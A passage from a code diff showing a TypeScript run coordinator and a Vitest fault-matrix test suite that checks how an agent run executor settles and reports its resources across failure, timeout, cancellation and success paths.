/** Record the per-resource disposition report at the end of the run. */
recordDisposition(report: SettlementDispositionReport): void;
/** Run the turn against the ready resources. It never rejects. */
runTurn(ready: StartupReady): Promise<TurnCompletion>;
/**
* Settle the run's resources for the given reason. The one cleanup owner. A
* synchronous return adds no awaited boundary, so a step that already settled
* inline keeps the caller's timing unchanged.
*/
settle(reason: SettlementReason): void | Promise<void>;
/** Reproduce the external result after settlement. */
reproduceResult(outcome: ReproducibleOutcome): TResult | Promise<TResult>;
}
/**
* Run the attempt through the routing table. The coordinator is the one owner of
* the startup-to-settlement order.
*/
export async function runAttempt<TResult>(plan: RunPlan<TResult>): Promise<TResult> {
let startupResult: StartupResult;
try {
startupResult = await plan.startup();
} catch (startupError) {
// The coordinator's only catch wraps startup. A build failure and a
// partial-bridge failure reach here. Claim the partial ledger, replay its
// `startup_rollback` entries, record the disposition report (each entry the
// rollback released is `finalized`), and rethrow the original error.
const consumed = plan.ledger.takeForSettlement();
await plan.rollbackStartup(consumed);
plan.recordDisposition(finalizedReport(consumed));
throw startupError;
}
if (startupResult.kind === "settle") {
// A pre-turn failure after the ledger acquired resources. Settle the
// resources, then reproduce the error result AFTER settlement.
const reason: SettlementReason = { kind: "pre_turn", cause: startupResult.cause };
const settled = plan.settle(reason);
if (settled) await settled;
return plan.reproduceResult(reason);
}
// The ready path: run the turn, settle, then reproduce the result. There is no
// catch around the turn — `runTurn` never rejects.
const completion = await plan.runTurn(startupResult);
const reason: SettlementReason = { kind: "turn", completion };
const settled = plan.settle(reason);
if (settled) await settled;
return plan.reproduceResult(reason);
}
/** Build a disposition report that marks every claimed entry `finalized`. */
function finalizedReport(consumed: ConsumedRunResources): SettlementDispositionReport {
return {
records: consumed.entries().map((entry) => ({ id: entry.id, disposition: "finalized" as const })),
};
}
@@ -0,0 +1,883 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import {
prepareAdapterExecutionTargetRuntime,
startAdapterExecutionTargetPaperclipBridge,
startAdapterExecutionTargetProcessSessionBridge,
} from "@paperclipai/adapter-utils/execution-target";
import { runChildProcess } from "../server-utils.js";
// The composed fault matrix.
//
// Each case drives the whole ACP run and asserts the run's final settlement
// disposition report. The report is the authority on which resources the run
// acquired and how each one left the run: `finalized` (the run released it) or
// `transferred` (the run saved it for reuse). For each case the file asserts:
//
// 1. the report keys equal the acquired subset of the six resource ids;
// 2. each resource carries exactly one disposition;
// 3. the external result equals the composed baseline for that exit path.
//
// The six resource ids are: acp_runtime, staged_runtime, control_bridge,
// agent_bridge, managed_home, staging_lease. The host lane acquires only
// acp_runtime; the sandbox lane acquires the staging and transport resources too.
// Wrap the staging seam and both sandbox bridges so a test can stub them without
// changing behavior for the other tests.
vi.mock("@paperclipai/adapter-utils/execution-target", async (importActual) => {
const actual = await importActual<typeof import("@paperclipai/adapter-utils/execution-target")>();
return {
...actual,
prepareAdapterExecutionTargetRuntime: vi.fn(actual.prepareAdapterExecutionTargetRuntime),
startAdapterExecutionTargetPaperclipBridge: vi.fn(actual.startAdapterExecutionTargetPaperclipBridge),
startAdapterExecutionTargetProcessSessionBridge: vi.fn(actual.startAdapterExecutionTargetProcessSessionBridge),
};
});
import {
createAcpxEngineExecutor,
type AcpxEngineExecutorOptions,
} from "./execute.js";
import { settleAcpRun, type SettlementSteps } from "./settlement-sequence.js";
import { createRunResourceLedger } from "./run-resource-ledger.js";
import { LedgerStateError, type ResourceId } from "./run-contracts.js";
import type { SettlementDispositionReport } from "./run-coordinator.js";
const tempRoots: string[] = [];
async function makeTempRoot() {
const root = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-acpx-fault-"));
tempRoots.push(root);
return root;
}
afterEach(async () => {
await Promise.all(
tempRoots.splice(0).map((root) =>
fs.rm(root, { recursive: true, force: true, maxRetries: 5, retryDelay: 50 }),
),
);
});
function createLocalSandboxRunner() {
let counter = 0;
return {
execute: async (input: {
command: string;
args?: string[];
cwd?: string;
env?: Record<string, string>;
stdin?: string;
timeoutMs?: number;
onLog?: (stream: "stdout" | "stderr", chunk: string) => Promise<void>;
onSpawn?: (meta: { pid: number; startedAt: string }) => Promise<void>;
}) => {
counter += 1;
const command = input.command === "bash" ? "/bin/bash" : input.command;
return await runChildProcess(`acpx-sandbox-run-${counter}`, command, input.args ?? [], {
cwd: input.cwd ?? process.cwd(),
env: input.env ?? {},
stdin: input.stdin,
timeoutSec: Math.max(1, Math.ceil((input.timeoutMs ?? 30_000) / 1000)),
graceSec: 5,
onLog: input.onLog ?? (async () => {}),
onSpawn: input.onSpawn
? async (meta) => input.onSpawn?.({ pid: meta.pid, startedAt: meta.startedAt })
: undefined,
});
},
};
}
const okHandle = {
backendSessionId: "backend-session",
agentSessionId: "agent-session",
runtimeSessionName: "runtime-session",
};
function completedTurn() {
return {
events: (async function* () {})(),
result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
cancel: async () => {},
};
}
function throwingTurn() {
return {
events: (async function* () {
throw new Error("turn upstream boom");
})(),
result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
cancel: async () => {},
};
}
function cancelledTurn() {
return {
events: (async function* () {})(),
result: Promise.resolve({ status: "cancelled", stopReason: "cancelled" }),
cancel: async () => {},
};
}
// A runtime whose completed turn keeps the session handshake and turn simple.
function completedRuntime() {
return {
ensureSession: async () => okHandle,
startTurn: () => completedTurn(),
setConfigOption: async () => {},
close: async () => {},
} as never;
}
// A context whose only prompt-read field throws when read, so the prompt build
// fails after the session handshake and before the turn starts.
function throwingHandoffContext(): Record<string, unknown> {
const context: Record<string, unknown> = {};
Object.defineProperty(context, "paperclipSessionHandoffMarkdown", {
enumerable: false,
get() {
throw new Error("prompt build boom");
},
});
return context;
}
// Stub both sandbox bridges, so a case reaches the post-build window with live
// handles without running the real bridge transport. `stopRejects` makes the
// bridge stop reject during settlement.
function stubBridges(options: { stopRejects?: boolean } = {}) {
const stop = options.stopRejects
? vi.fn(async () => {
throw new Error("bridge stop boom");
})
: vi.fn(async () => {});
vi.mocked(startAdapterExecutionTargetPaperclipBridge).mockImplementation(async () => {
return { env: {}, stop } as never;
});
vi.mocked(startAdapterExecutionTargetProcessSessionBridge).mockImplementation(async () => {
return { agentCommand: null, stop } as never;
});
}
async function setupRemoteSandbox() {
const root = await makeTempRoot();
const stateDir = path.join(root, "state");
const localCwd = path.join(root, "worktree");
const remoteCwd = path.join(root, "remote-workspace");
await fs.mkdir(localCwd, { recursive: true });
await fs.mkdir(remoteCwd, { recursive: true });
await fs.writeFile(path.join(localCwd, "hello.txt"), "hi", "utf8");
const executionTarget = {
kind: "remote",
transport: "sandbox",
providerKey: "fake-plugin",
remoteCwd,
runner: createLocalSandboxRunner(),
};
return { root, stateDir, localCwd, remoteCwd, executionTarget };
}
function remoteArgs(
stateDir: string,
localCwd: string,
executionTarget: unknown,
overrides: Record<string, unknown> = {},
) {
return {
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
context: {},
authToken: "real-run-jwt",
executionTarget,
onLog: async () => {},
onMeta: async () => {},
onEvent: async () => {},
...overrides,
};
}
// Seed the managed home through the staging seam and return a per-run copy-back
// so the run registers the managed_home resource. `teardownRejects` makes the
// copy-back reject during the settlement sync-back.
function managedHomeSeed(options: { teardownRejects?: boolean } = {}): AcpxEngineExecutorOptions["prepareRemoteManagedHome"] {
return async (input) => {
const stagedRuntime = await input.stage([]);
return {
stagedRuntime,
teardown: options.teardownRejects
? async () => {
throw new Error("copy-back boom");
}
: async () => {},
};
};
}
// Capture the final settlement disposition report the run records.
function captureDisposition() {
const reports: SettlementDispositionReport[] = [];
return {
onSettlementDisposition: (report: SettlementDispositionReport) => {
reports.push(report);
},
last(): SettlementDispositionReport | null {
return reports.length > 0 ? reports[reports.length - 1]! : null;
},
};
}
// The shared per-case assertion. It proves the report keys equal the acquired
// subset, each resource carries exactly one disposition, and the transferred id
// (if any) is the only `transferred` entry.
function assertDispositionReport(
report: SettlementDispositionReport | null,
expected: { acquired: ResourceId[]; transferred?: ResourceId | null },
) {
expect(report, "the run must record a disposition report").not.toBeNull();
const records = report!.records;
const ids = records.map((record) => record.id);
// Each resource carries exactly one disposition (no duplicate id).
expect(ids.length, "no resource is reported twice").toBe(new Set(ids).size);
// The report keys equal the acquired subset of the six resource ids.
expect(new Set(ids)).toEqual(new Set(expected.acquired));
const transferred = expected.transferred ?? null;
for (const record of records) {
expect(["finalized", "transferred"]).toContain(record.disposition);
if (record.id === transferred) {
expect(record.disposition, `${record.id} must be transferred`).toBe("transferred");
} else {
expect(record.disposition, `${record.id} must be finalized`).toBe("finalized");
}
}
}
// The sandbox-lane resource set before the runtime is created (staging and
// transport), and after (adds the runtime). Without a managed-home seed the
// managed_home resource is absent.
const SANDBOX_PRE_RUNTIME: ResourceId[] = ["staged_runtime", "staging_lease", "control_bridge", "agent_bridge"];
const SANDBOX_WITH_RUNTIME: ResourceId[] = [...SANDBOX_PRE_RUNTIME, "acp_runtime"];
const SANDBOX_WITH_MANAGED_HOME: ResourceId[] = [
"staged_runtime",
"managed_home",
"staging_lease",
"control_bridge",
"agent_bridge",
"acp_runtime",
];
describe("composed ACPX run fault matrix", () => {
beforeEach(() => {
vi.clearAllMocks();
});
// Case 1 — a build failure throws before the ledger acquires any resource.
it("case_01_build_failure_throws_and_acquires_nothing", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
stubBridges();
const capture = captureDisposition();
vi.mocked(prepareAdapterExecutionTargetRuntime).mockImplementationOnce(async () => {
throw new Error("staging boom");
});
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () => completedRuntime(),
onSettlementDisposition: capture.onSettlementDisposition,
});
await expect(
execute({ runId: "fault-build", ...remoteArgs(stateDir, localCwd, executionTarget) } as never),
).rejects.toThrow("staging boom");
assertDispositionReport(capture.last(), { acquired: [] });
});
// Case 2 — a partial bridge failure throws; the staged entry and the lease are
// finalized (the rollback removed the borrowed staged entry).
it("case_02_partial_bridge_failure_finalizes_staged_and_lease", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
const capture = captureDisposition();
const stop = vi.fn(async () => {});
vi.mocked(startAdapterExecutionTargetPaperclipBridge).mockImplementationOnce(async () => {
throw new Error("paperclip bridge boom");
});
vi.mocked(startAdapterExecutionTargetProcessSessionBridge).mockImplementationOnce(
async () => ({ agentCommand: null, stop }) as never,
);
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () => completedRuntime(),
onSettlementDisposition: capture.onSettlementDisposition,
});
await expect(
execute({ runId: "fault-bridge", ...remoteArgs(stateDir, localCwd, executionTarget) } as never),
).rejects.toThrow("paperclip bridge boom");
assertDispositionReport(capture.last(), { acquired: ["staged_runtime", "staging_lease"] });
});
// Case 3 — a runtime-create failure settles the staging and transport resources.
// The runtime never enters the ledger.
it("case_03_runtime_create_failure_finalizes_staging_and_transport", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
stubBridges();
const capture = captureDisposition();
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () => {
throw new Error("createRuntime boom");
},
onSettlementDisposition: capture.onSettlementDisposition,
});
const result = await execute({
runId: "fault-create",
...remoteArgs(stateDir, localCwd, executionTarget),
} as never);
expect(result.exitCode).toBe(1);
expect(result.resultJson?.phase).toBe("create_runtime");
assertDispositionReport(capture.last(), { acquired: SANDBOX_PRE_RUNTIME });
});
// Case 4 — a handshake failure closes the runtime; every resource finalizes.
it("case_04_handshake_failure_closes_runtime", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
stubBridges();
const capture = captureDisposition();
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () =>
({
ensureSession: async () => {
throw new Error("ensureSession boom");
},
startTurn: () => completedTurn(),
close: async () => {},
}) as never,
onSettlementDisposition: capture.onSettlementDisposition,
});
const result = await execute({
runId: "fault-handshake",
...remoteArgs(stateDir, localCwd, executionTarget),
} as never);
expect(result.exitCode).toBe(1);
expect(result.resultJson?.phase).toBe("ensure_session");
assertDispositionReport(capture.last(), { acquired: SANDBOX_WITH_RUNTIME });
});
// Case 5 — a missing session handle closes the runtime; the result carries a
// null clearSession and no errorMeta.
it("case_05_missing_handle_closes_runtime_null_error", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
stubBridges();
const capture = captureDisposition();
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () =>
({
ensureSession: async () => undefined,
startTurn: () => completedTurn(),
close: async () => {},
}) as never,
onSettlementDisposition: capture.onSettlementDisposition,
});
const result = await execute({
runId: "fault-missing-handle",
...remoteArgs(stateDir, localCwd, executionTarget),
} as never);
expect(result.exitCode).toBe(1);
expect(result.resultJson?.phase).toBe("ensure_session");
expect(result.errorCode).toBe("acpx_runtime_error");
expect(result.clearSession).toBeUndefined();
expect(result.errorMeta).toBeUndefined();
assertDispositionReport(capture.last(), { acquired: SANDBOX_WITH_RUNTIME });
});
// Case 6 — a configuration failure closes the runtime.
it("case_06_configuration_failure_closes_runtime", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
stubBridges();
const capture = captureDisposition();
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () =>
({
ensureSession: async () => okHandle,
startTurn: () => completedTurn(),
setConfigOption: async () => {
throw new Error("setConfigOption boom");
},
close: async () => {},
}) as never,
onSettlementDisposition: capture.onSettlementDisposition,
});
const result = await execute({
runId: "fault-configure",
...remoteArgs(stateDir, localCwd, executionTarget, {
config: {
agent: "custom",
agentCommand: "node ./fake-acp.js",
model: "custom-model-x",
stateDir,
cwd: localCwd,
},
}),
} as never);
expect(result.exitCode).toBe(1);
expect(result.resultJson?.phase).toBe("configure_session");
assertDispositionReport(capture.last(), { acquired: SANDBOX_WITH_RUNTIME });
});
// Case 7 — a prompt-build failure fails the turn in the prepare phase.
it("case_07_prompt_build_failure_finalizes_every_resource", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
stubBridges();
const capture = captureDisposition();
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () => completedRuntime(),
onSettlementDisposition: capture.onSettlementDisposition,
});
const result = await execute({
runId: "fault-prepare",
...remoteArgs(stateDir, localCwd, executionTarget, { context: throwingHandoffContext() }),
} as never);
expect(result.exitCode).toBe(1);
expect(result.resultJson?.phase).toBe("prepare_turn");
assertDispositionReport(capture.last(), { acquired: SANDBOX_WITH_RUNTIME });
});
// Case 8 — a resume retry runs ensureSession twice but registers the runtime
// once, so the acquired set has no doubled resource.
it("case_08_resume_retry_does_not_double_resources", async () => {
const root = await makeTempRoot();
const stateDir = path.join(root, "state");
const cwd = path.join(root, "worktree");
await fs.mkdir(cwd, { recursive: true });
const config = { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd };
// A first clean host run mints the session params the second run resumes from.
const firstExecute = createAcpxEngineExecutor({ createRuntime: () => completedRuntime() });
const first = await firstExecute({
runId: "fault-resume-a",
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config,
context: {},
onLog: async () => {},
onMeta: async () => {},
} as never);
expect(first.exitCode).toBe(0);
// The second run resumes: the resume ensureSession fails, the fresh retry
// succeeds. The runtime is created once, so acp_runtime registers once.
const capture = captureDisposition();
let created = 0;
const secondExecute = createAcpxEngineExecutor({
onSettlementDisposition: capture.onSettlementDisposition,
createRuntime: () => {
created += 1;
return {
ensureSession: async (session: Record<string, unknown>) => {
if (session.resumeSessionId) throw new Error("resume session not found");
return okHandle;
},
startTurn: () => completedTurn(),
setConfigOption: async () => {},
close: async () => {},
} as never;
},
});
const second = await secondExecute({
runId: "fault-resume-b",
agent: { id: "agent-1", companyId: "company-1" },
runtime: { sessionParams: (first as { sessionParams?: unknown }).sessionParams },
config,
context: {},
onLog: async () => {},
onMeta: async () => {},
} as never);
expect(second.exitCode).toBe(0);
// The runtime was created exactly once across the resume and the fresh retry.
expect(created).toBe(1);
// The host lane acquires only the runtime, and it appears once.
assertDispositionReport(capture.last(), { acquired: ["acp_runtime"] });
});
// Case 9 — a turn exception finalizes every resource (the staged runtime is
// discarded, not transferred).
it("case_09_turn_exception_discards_staged_runtime", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
stubBridges();
const capture = captureDisposition();
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () =>
({
ensureSession: async () => okHandle,
startTurn: () => throwingTurn(),
close: async () => {},
}) as never,
onSettlementDisposition: capture.onSettlementDisposition,
});
const result = await execute({
runId: "fault-turn",
...remoteArgs(stateDir, localCwd, executionTarget),
} as never);
expect(result.exitCode).toBe(1);
expect(result.resultJson?.phase).toBe("turn");
expect(result.errorCode).toBe("acpx_turn_failed");
assertDispositionReport(capture.last(), { acquired: SANDBOX_WITH_RUNTIME });
});
// Case 10 — a turn timeout finalizes every resource.
it("case_10_turn_timeout_finalizes_every_resource", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
stubBridges();
const capture = captureDisposition();
let releaseTurn: (() => void) | null = null;
const turnCancelled = new Promise<void>((resolve) => {
releaseTurn = resolve;
});
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () =>
({
ensureSession: async () => okHandle,
startTurn: () => ({
events: (async function* () {
await turnCancelled;
})(),
result: turnCancelled.then(() => ({ status: "cancelled", stopReason: "cancelled" })),
cancel: async () => {
releaseTurn?.();
},
}),
close: async () => {},
}) as never,
onSettlementDisposition: capture.onSettlementDisposition,
});
const result = await execute({
runId: "fault-timeout",
...remoteArgs(stateDir, localCwd, executionTarget, {
config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd, timeoutSec: 1 },
}),
} as never);
expect(result.timedOut).toBe(true);
expect(result.errorCode).toBe("acpx_timeout");
assertDispositionReport(capture.last(), { acquired: SANDBOX_WITH_RUNTIME });
}, 15_000);
// Case 11 — a cancelled turn finalizes every resource.
it("case_11_turn_cancellation_finalizes_every_resource", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
stubBridges();
const capture = captureDisposition();
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () =>
({
ensureSession: async () => okHandle,
startTurn: () => cancelledTurn(),
close: async () => {},
}) as never,
onSettlementDisposition: capture.onSettlementDisposition,
});
const result = await execute({
runId: "fault-cancel",
...remoteArgs(stateDir, localCwd, executionTarget),
} as never);
expect(result.exitCode).toBe(1);
expect(result.resultJson?.status).toBe("cancelled");
assertDispositionReport(capture.last(), { acquired: SANDBOX_WITH_RUNTIME });
});
// Case 12 — a clean success saves the staged runtime (transferred); every other
// resource finalizes. A managed-home seed exercises the full six-resource set.
it("case_12_clean_success_transfers_staged_runtime", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
stubBridges();
const capture = captureDisposition();
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () => completedRuntime(),
prepareRemoteManagedHome: managedHomeSeed(),
onSettlementDisposition: capture.onSettlementDisposition,
});
const result = await execute({
runId: "fault-success",
...remoteArgs(stateDir, localCwd, executionTarget),
} as never);
expect(result.exitCode).toBe(0);
expect(result.resultJson?.status).toBe("completed");
assertDispositionReport(capture.last(), {
acquired: SANDBOX_WITH_MANAGED_HOME,
transferred: "staged_runtime",
});
});
// Case 13 — a bridge stop that rejects during settlement never changes the
// result or the report (allSettled absorbs the fault).
it("case_13_bridge_stop_reject_does_not_change_result", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
stubBridges({ stopRejects: true });
const capture = captureDisposition();
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () => completedRuntime(),
onSettlementDisposition: capture.onSettlementDisposition,
});
const result = await execute({
runId: "fault-bridge-stop",
...remoteArgs(stateDir, localCwd, executionTarget),
} as never);
expect(result.exitCode).toBe(0);
expect(result.resultJson?.status).toBe("completed");
assertDispositionReport(capture.last(), {
acquired: SANDBOX_WITH_RUNTIME,
transferred: "staged_runtime",
});
});
// Case 14 — a sync-back copy-back that rejects during settlement never changes
// the result or the report.
it("case_14_sync_back_failure_does_not_change_result", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
stubBridges();
const capture = captureDisposition();
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () => completedRuntime(),
prepareRemoteManagedHome: managedHomeSeed({ teardownRejects: true }),
onSettlementDisposition: capture.onSettlementDisposition,
});
const result = await execute({
runId: "fault-sync-back",
...remoteArgs(stateDir, localCwd, executionTarget),
} as never);
expect(result.exitCode).toBe(0);
expect(result.resultJson?.status).toBe("completed");
assertDispositionReport(capture.last(), {
acquired: SANDBOX_WITH_MANAGED_HOME,
transferred: "staged_runtime",
});
});
// Case 15 — a concurrent double settlement is a structural error: the second
// claim of the ledger throws a LedgerStateError.
it("case_15_concurrent_double_settlement_throws_ledger_state_error", async () => {
const ledger = createRunResourceLedger();
ledger.register({
id: "acp_runtime",
payload: { runtime: {}, sessionHandle: {}, childProcessPid: null } as never,
scope: "per_run",
});
const noopSteps: SettlementSteps = {
reuseCandidate: () => null,
endSession: () => {},
settleReuse: () => {},
stopTransport: () => {},
syncBack: () => {},
releaseStagingLease: () => {},
recordError: () => {},
};
// The first settlement claims the ledger and produces the report.
const report = await settleAcpRun(ledger, null, noopSteps);
assertDispositionReport(report, { acquired: ["acp_runtime"] });
// A second settlement of the same ledger is a structural error.
await expect(settleAcpRun(ledger, null, noopSteps)).rejects.toBeInstanceOf(LedgerStateError);
});
// Case 16 — the host-lane credential gate. Constructed gate-passed: the runtime
// transfers and never closes. Live host path (gate failed): the runtime closes
// and never transfers.
it("case_16_host_credential_gate_transfer_versus_close", async () => {
// Constructed gate-passed condition: a host candidate with no live run-scoped
// credential. The reuse decision saves, so the runtime transfers and endSession
// never closes it.
const ledger = createRunResourceLedger();
ledger.register({
id: "acp_runtime",
payload: { runtime: {}, sessionHandle: {}, childProcessPid: null } as never,
scope: "per_run",
});
let closed = false;
const gatePassedSteps: SettlementSteps = {
reuseCandidate: () => ({ kind: "host", causePermitsSave: true, liveRunScopedCredentials: [] }),
endSession: (_slots, decision) => {
if (decision.kind !== "save") closed = true;
},
settleReuse: () => {},
stopTransport: () => {},
syncBack: () => {},
releaseStagingLease: () => {},
recordError: () => {},
};
const gatePassedReport = await settleAcpRun(ledger, null, gatePassedSteps);
expect(closed).toBe(false);
assertDispositionReport(gatePassedReport, { acquired: ["acp_runtime"], transferred: "acp_runtime" });
// Live host path: the engine populates the run-scoped credential, so the gate
// fails, the runtime closes, and it never transfers.
const root = await makeTempRoot();
const capture = captureDisposition();
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
createRuntime: () => completedRuntime(),
onSettlementDisposition: capture.onSettlementDisposition,
});
const result = await execute({
runId: "fault-host-gate",
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config: {
agent: "custom",
agentCommand: "node ./fake-acp.js",
stateDir: path.join(root, "state"),
mode: "persistent",
warmHandleIdleMs: 60_000,
},
context: {},
onLog: async () => {},
onMeta: async () => {},
} as never);
expect(result.exitCode).toBe(0);
// The live host path closes and never transfers the runtime.
assertDispositionReport(capture.last(), { acquired: ["acp_runtime"], transferred: null });
});
// Case 17 — a host-lane turn failure finalizes (closes) the runtime.
it("case_17_host_turn_failure_finalizes_runtime", async () => {
const root = await makeTempRoot();
const capture = captureDisposition();
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
createRuntime: () =>
({
ensureSession: async () => okHandle,
startTurn: () => throwingTurn(),
setConfigOption: async () => {},
close: async () => {},
}) as never,
onSettlementDisposition: capture.onSettlementDisposition,
});
const result = await execute({
runId: "fault-host-turn-fail",
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config: {
agent: "custom",
agentCommand: "node ./fake-acp.js",
stateDir: path.join(root, "state"),
mode: "persistent",
warmHandleIdleMs: 60_000,
},
context: {},
onLog: async () => {},
onMeta: async () => {},
} as never);
expect(result.exitCode).toBe(1);
expect(result.resultJson?.phase).toBe("turn");
assertDispositionReport(capture.last(), { acquired: ["acp_runtime"], transferred: null });
});
});
describe("composed ACPX run per-phase telemetry", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it("emits a run.phase.timing event for each lifecycle phase a clean host run reaches", async () => {
const root = await makeTempRoot();
const events: Array<{ eventType: string; payload?: Record<string, unknown> }> = [];
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
createRuntime: () => completedRuntime(),
});
const result = await execute({
runId: "phase-telemetry",
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
context: {},
onLog: async () => {},
onMeta: async () => {},
onEvent: async (event: { eventType: string; payload?: Record<string, unknown> }) => {
events.push(event);
},
} as never);
expect(result.exitCode).toBe(0);
const phases = events
.filter((event) => event.eventType === "run.phase.timing")
.map((event) => String(event.payload?.phase));
// A clean host run runs the runtime, session, prepare, turn, and settlement
// phases. Each phase emits a phase-timing event.
for (const phase of ["create_runtime", "ensure_session", "prepare_turn", "turn", "end_session"]) {
expect(phases, `missing phase telemetry for ${phase}`).toContain(phase);
}
// Every phase-timing event carries exactly the three closed fields.
for (const event of events.filter((entry) => entry.eventType === "run.phase.timing")) {
expect(Object.keys(event.payload ?? {}).sort()).toEqual(["durationMs", "outcome", "phase"]);
}
});
});
Loaded 100 of 997 files, more files were not shown because too many files have changed in this diff. Show more